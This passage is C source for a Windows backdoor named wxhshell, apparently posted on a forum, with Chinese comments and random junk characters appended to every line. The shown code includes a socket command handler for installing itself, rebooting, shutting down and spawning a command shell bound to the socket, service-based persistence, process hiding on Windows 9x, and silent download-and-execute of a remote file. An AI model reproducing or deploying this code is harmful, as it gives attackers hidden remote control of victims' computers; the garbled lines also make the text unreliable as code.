  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o m_&|9B)  
  } ^/n[5@6H  
  else { 9_>4~!x`  
g[M@  
    switch(cmd[0]) { T4!]^_t^  
  NuO>zAu  
  // 帮助 <uTsX v  
  case '?': { 3X!~*_i C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Qy(ed  
    break; 8]?1gDS|9O  
  } W=EO=}l#  
  // 安装 UiZ61lw  
  case 'i': { Gm2rjpZeq  
    if(Install()) UdI>x 4bI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DpS6>$v8t  
    else .sG,TLE[<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ONjc},_  
    break; O[L8(+Sn  
    } f A,+qs  
  // 卸载 k(qQvn  
  case 'r': { |(P;2q4>  
    if(Uninstall()) mW-@-5Wda  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Yr-:s9J9  
    else Ez$5wY^J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H0(zE *c~  
    break; Uqpvj90sw  
    } 'j3'n0o  
  // 显示 wxhshell 所在路径 Gj ^bz'2  
  case 'p': { 8_,ZJ9l ;  
    char svExeFile[MAX_PATH]; :> q?s  
    strcpy(svExeFile,"\n\r"); .E}});l  
      strcat(svExeFile,ExeFile); oPbD9  
        send(wsh,svExeFile,strlen(svExeFile),0); >@L HJ61C  
    break; h@DJ/&;u@  
    } 4B y-+C*  
  // 重启 "/'= gE  
  case 'b': { Td  F<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P&tK}Se^V  
    if(Boot(REBOOT)) W^N"y &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YiCDV(prT  
    else { #CS>A# Lk  
    closesocket(wsh); )mPlB.  
    ExitThread(0); -&EmEXs%  
    } z )pV$  
    break; ~?&ijhZ  
    } G'py)C5;  
  // 关机 f lB,_  
  case 'd': { o/zCXZnw#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X2uX+}h*tA  
    if(Boot(SHUTDOWN)) [dJ\|=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4r. W:}4:  
    else { 19.cf3Dh  
    closesocket(wsh); $;CC lzw  
    ExitThread(0); kUUq9me&o  
    } ZH(.| NaH  
    break; 1;P\mff3Y  
    } eI}VHBAz  
  // 获取shell HIq1/)  
  case 's': { ]2(c$R  
    CmdShell(wsh); eFio,  
    closesocket(wsh); @(cS8%wK  
    ExitThread(0); xB(:d'1|  
    break; x]ti3?w  
  } 6b/b} vl  
  // 退出 @EY}iK~  
  case 'x': { I5L7BTe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /=@vG Vp6  
    CloseIt(wsh); %&Cl@6  
    break; QVW6SY  
    } jEsTw_  
  // 离开 MQ*#oVqv  
  case 'q': {  /Xz4q!Ul  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +*J4q5;E[?  
    closesocket(wsh); c2^7"`  
    WSACleanup(); $)3PF  
    exit(1); 5 DB>zou   
    break; WO-WoPO  
        } ^eW.hNg  
  } ?X'* p<`  
  } ?i~/gjp  
}BJ1#<  
  // 提示信息 5Mr;6 ]I<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {_Qxe1^g  
} &%X Jf~IQ  
  } 3@] a#>  
\=7=>x_  
  return; 1[l>D1F?  
} IBkH+j  
$/TA5h  
// shell模块句柄 ? ~Zrd  
int CmdShell(SOCKET sock) M@g gLW  
{ JJ?ri,  
STARTUPINFO si; d&bc>Vt  
ZeroMemory(&si,sizeof(si)); ?0mJBA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0lCd,a 2:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RuNH (>Eb  
PROCESS_INFORMATION ProcessInfo; ennz/'  
char cmdline[]="cmd"; t4_K>Mj+d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (u&yb!`  
  return 0; :WIf$P?X  
} WWcm(q =  
AtlR!I EUb  
// 自身启动模式 2w|u)ow )  
int StartFromService(void) %"Q!5qH&  
{ ;lH,bX~5  
typedef struct ,R}KcZG)  
{ )95yV;n   
  DWORD ExitStatus; 2U'JzE^Do  
  DWORD PebBaseAddress; :5M}Iz7  
  DWORD AffinityMask; M5kHD]b  
  DWORD BasePriority; ^3|$wB=  
  ULONG UniqueProcessId; )ek 5  
  ULONG InheritedFromUniqueProcessId; aRKRy  
}   PROCESS_BASIC_INFORMATION; o:D BOpS  
}8M`2HMFR  
PROCNTQSIP NtQueryInformationProcess; Gu`Vk/&  
** r?    
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k^5R f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ""'eTpe  
2{kfbm-89t  
  HANDLE             hProcess; UT<b v}(J  
  PROCESS_BASIC_INFORMATION pbi; Qz)8eIO:  
0D3+R1>_D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k*3_) S -  
  if(NULL == hInst ) return 0; %4|}&,%%r  
sQAc"S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WFB|lNf&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @\`G & VB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q4GW=@eD  
DgT.Lku?  
  if (!NtQueryInformationProcess) return 0; $;i$k2n:  
60%~+oHi~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T:%wX9W  
  if(!hProcess) return 0; PnIvk]"Ab  
#D/ }u./  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uU(G_E ?  
:.[5('  
  CloseHandle(hProcess); b/,!J] W  
cvV?V\1f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3b)T}g  
if(hProcess==NULL) return 0; VgsCwJ9w  
2<o[@w  
HMODULE hMod; [G[{l$Eit  
char procName[255]; O|OSE  
unsigned long cbNeeded; _2X6bIE  
8wpwJs&V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @~#79B"9&  
AzO3(1:  
  CloseHandle(hProcess); EXW 6yXLV  
wJos'aTmE  
if(strstr(procName,"services")) return 1; // 以服务启动 Rc:cVK  
{iIg 4PzrU  
  return 0; // 注册表启动 yCkW2p]s,K  
} v8[ek@  
zNr_W[  
// 主模块 <aSLm=  
int StartWxhshell(LPSTR lpCmdLine) _h=< _Z  
{ AV[PQI  
  SOCKET wsl; JIbzh?$aD  
BOOL val=TRUE; S,Wl)\  
  int port=0; b8{h[YJL2  
  struct sockaddr_in door; b!5tFX;J  
OwiWnS<  
  if(wscfg.ws_autoins) Install(); gvc' $9%  
v>y8s&/  
port=atoi(lpCmdLine); @t; O"q'|  
?9zoQ[  
if(port<=0) port=wscfg.ws_port;  sx(l  
z^!A/a[[!  
  WSADATA data; j&[3Be'pQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J'&B:PZObB  
!/Bw,y ri<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Av v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Mu'+,dT  
  door.sin_family = AF_INET; *Nf4bH%MN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4&]To@>  
  door.sin_port = htons(port); z)W#&JFF  
-4y)qGb*?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !: EW21m  
closesocket(wsl); lQ<#jxp  
return 1; tU)r[2H2  
} }OP%p/eY  
WrHgF*[  
  if(listen(wsl,2) == INVALID_SOCKET) { i_9Cc$Qh<  
closesocket(wsl); 9B#)h)h(=  
return 1; dW{o+9nw  
} Xs%R]KOwt  
  Wxhshell(wsl); {b-0_  
  WSACleanup(); DNm7z[ t{  
X$uz=)  
return 0; N1+4bR  
r>Qyc  
} rq'##`H  
im4e!gRE  
// 以NT服务方式启动 .sJys SA\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0.u9f`04  
{ TM/|K|_  
DWORD   status = 0; iB}LnC:  
  DWORD   specificError = 0xfffffff; S4k^&$;  
qrM{b=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ft"&NtXeZZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MgH1d&R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K.V!@bPlw9  
  serviceStatus.dwWin32ExitCode     = 0; VeD+U~ d  
  serviceStatus.dwServiceSpecificExitCode = 0; RP`GG+K  
  serviceStatus.dwCheckPoint       = 0; i^yH?bH @~  
  serviceStatus.dwWaitHint       = 0; 2{sD*8&`  
0$f_or9T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G&%nF4  
  if (hServiceStatusHandle==0) return; `u p-m=zA  
9 N*S-Po=  
status = GetLastError(); >p]WCb'PH  
  if (status!=NO_ERROR) \sHy.{  
{  VNr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I!F}`d  
    serviceStatus.dwCheckPoint       = 0; ;9p#xW6  
    serviceStatus.dwWaitHint       = 0; Pghva*&  
    serviceStatus.dwWin32ExitCode     = status; P^K?E  
    serviceStatus.dwServiceSpecificExitCode = specificError; !!-}ttFA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =qV4Sje|q  
    return; .y %pGi  
  } <4l.s  
[D<RV3x9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /`4v"f0V  
  serviceStatus.dwCheckPoint       = 0; L)kb (TH  
  serviceStatus.dwWaitHint       = 0; so?pA@O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Ch+X$m9  
} S.Wh4kMUe  
{(m+M  
// 处理NT服务事件,比如:启动、停止 bxd3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JAGi""3HG  
{ B^8ZoF  
switch(fdwControl) p|FlWR'mA  
{ !q~X*ZKse  
case SERVICE_CONTROL_STOP: R/ ALR  
  serviceStatus.dwWin32ExitCode = 0; _dYf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pY{; Yn&t  
  serviceStatus.dwCheckPoint   = 0; iX8h2l  
  serviceStatus.dwWaitHint     = 0; #Acon7R p  
  { ysSjc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {f`lSu  
  } ;=5@h!@R  
  return; x !#Ma  
case SERVICE_CONTROL_PAUSE: T7>4 8eH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2gQY8h8  
  break; yPf?"W  
case SERVICE_CONTROL_CONTINUE: (l\a'3a.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?o2;SY(-  
  break; c8^+^.=pX  
case SERVICE_CONTROL_INTERROGATE: y;,=a jrF  
  break; )LkM,T  
}; l?3vNa FeR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gIV3n#-{L  
} MZCL:#  
$Nj'OJSj%  
// 标准应用程序主函数 ,|e}Y [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u/z,92mmS  
{ Hnfvo*6d.e  
]*bAF^8i  
// 获取操作系统版本 Hfh@<'NL]  
OsIsNt=GetOsVer(); kmZ.U>#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7MKD_`g  
^c/mj9M#C  
  // 从命令行安装 (3e;"'k  
  if(strpbrk(lpCmdLine,"iI")) Install(); DBQOxryP>o  
e{v,x1Y_z(  
  // 下载执行文件 .i MnWW  
if(wscfg.ws_downexe) { C}n'>],p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LiiK3!^i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4st~3,lR$  
} t{+ M|Y  
o)0C-yO0qf  
if(!OsIsNt) { 77+| #< J  
// 如果时win9x,隐藏进程并且设置为注册表启动 /uK)rG F  
HideProc(); Bs_S.JP<`  
StartWxhshell(lpCmdLine); %GM>u2baw  
} ^$e0t;W=  
else /m97CC#+  
  if(StartFromService()) `-~`<#E[  
  // 以服务方式启动 x}v1X`6b  
  StartServiceCtrlDispatcher(DispatchTable); &J\B\`  
else 3Z_t%J5QZ$  
  // 普通方式启动 [_j6cj]  
  StartWxhshell(lpCmdLine); :9(3h"  
`2>XH:+7F  
return 0;  `>%-  
}
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只看该作者 1 发表于: 2006-10-10
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